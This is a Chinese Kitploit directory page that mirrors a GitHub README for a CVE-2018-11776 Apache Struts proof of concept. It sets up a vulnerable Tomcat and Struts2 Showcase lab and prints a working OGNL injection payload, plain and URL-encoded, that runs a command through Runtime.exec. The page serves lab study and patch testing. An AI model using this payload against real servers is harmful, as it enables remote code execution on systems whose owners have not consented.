Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-11776 — 创建漏洞环境以及 PoC | Kitploit
工具/GitHubGitHub/xfox64x/cve-2018-11776
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubxfox64x/cve-2018-11776

CVE-2018-11776

创建漏洞环境以及 PoC

查看仓库
15626年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2018-11776

概念验证(PoC)漏洞利用代码,以便我能快速评估有哪些可用的防护和修复方案。

最初由 Semmle 的 Man Yue Mo 发现:https://semmle.com/news/apache-struts-CVE-2018-11776

Semmle 曾将 "Apache Struts RCE - CVE-2018-11776 - PoC Exploit Demo" 的 YouTube 视频上传过一阵子,但我觉得它已经下架了,或者至少不再链接到 Semmle:https://www.youtube.com/watch?v=5SDNX20SLJ0

我参考了上述信息,然后开始查看 struts 仓库中的提交:https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

我太懒了,不想去搞 Docker 或什么鬼东西……

搭建并利用一个有漏洞的主机

下载最新的 Ubuntu Desktop ISO 并创建一台虚拟机。

http://releases.ubuntu.com/18.04.1/ubuntu-18.04.1-desktop-amd64.iso?_ga=2.265574989.317727484.1535056103-825490018.1535056103

安装依赖:

sudo apt-get update

sudo apt-get upgrade

sudo apt-get dist-upgrade

sudo apt-get install default-jdk vim net-tools

搭建 Tomcat:

mkdir ~/sources

cd ~/sources

wget http://mirrors.ocf.berkeley.edu/apache/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz

tar xvzf apache-tomcat-7.0.90.tar.gz

sudo mv apache-tomcat-7.0.90 /opt/tomcat

使用环境变量更新 bashrc:

vim ~/.bashrc

export JAVA_HOME=/usr/lib/jvm/default-java

export CATALINA_HOME=/opt/tomcat

. ~/.bashrc

向 Tomact GUI 添加管理员:

sudo vim /opt/tomcat/conf/tomcat-users.xml

root@kitploit:~
<user username="username" password="password" roles="manager-gui,admin-gui" />

获取一个有漏洞的 Struts2 Showcase,这样我们就有东西可以用了:

cd ~/sources

wget http://central.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.14/struts2-showcase-2.3.14.war

通过 Tomcat GUI 部署 WAR 文件:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

重启 Tomcat 并确认 Struts2 Showcase 可用:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

添加一个不带命名空间的可被利用的重定向 action:

vim /opt/tomcat/webapps/struts2-showcase-2.3.14/WEB-INF/classes/struts.xml

root@kitploit:~
    <action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

date.action 已经定义好了,所以我们只是额外添加了一个调用 date.action 的重定向 action。

默认情况下,alwaysSelectFullNamespace 应设为 True。

重启 Tomcat 并查看 Struts2 Showcase 页面:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/struts2-showcase-2.3.14/showcase.jsp

创建 OGNL 表达式来做点事。让我们复现 Semmle 在他们的 YouTube 视频中可能做的事情:

%{(#_memberAccess['allowStaticMethodAccess'] = true).(#rt = @java.lang.Runtime@getRuntime()).(#rt.exec('gnome-calculator'))}

OGNL 表达式需要经过 URL 编码,并插入到 URL 中最后一个 '/' 之前,以命中我们存在漏洞的 help.action:

127.0.0.1:8080/struts2-showcase-2.3.14/<encoded-command-goes-here>/help.action

127.0.0.1:8080/struts2-showcase-2.3.14/%25%7B%28%23%5F%6D%65%6D%62%65%72%41%63%63%65%73%73%5B%27%61%6C%6C%6F%77%53%74%61%74%69%63%4D%65%74%68%6F%64%41%63%63%65%73%73%27%5D%20%3D%20%74%72%75%65%29%2E%28%23%72%74%20%3D%20%40%6A%61%76%61%2E%6C%61%6E%67%2E%52%75%6E%74%69%6D%65%40%67%65%74%52%75%6E%74%69%6D%65%28%29%29%2E%28%23%72%74%2E%65%78%65%63%28%27%67%6E%6F%6D%65%2D%63%61%6C%63%75%6C%61%74%6F%72%27%29%29%7D/help.action

在存在漏洞的 Ubuntu 主机上执行后,我们应该会看到一个全新的计算器实例弹出。

修复该问题的相关提交:

https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

思考:

Struts 的另一个非常特殊且存在漏洞的实现。媒体对这漏洞的报道让所有人都惊慌失措,但实际上只有最马虎的代码/配置才真正容易受影响……我想不出有什么高效、隐蔽的方法能够可靠地发现和/或利用这个漏洞。我的建议:直接他妈的升级 struts 吧……(或者干脆别用)

下载工具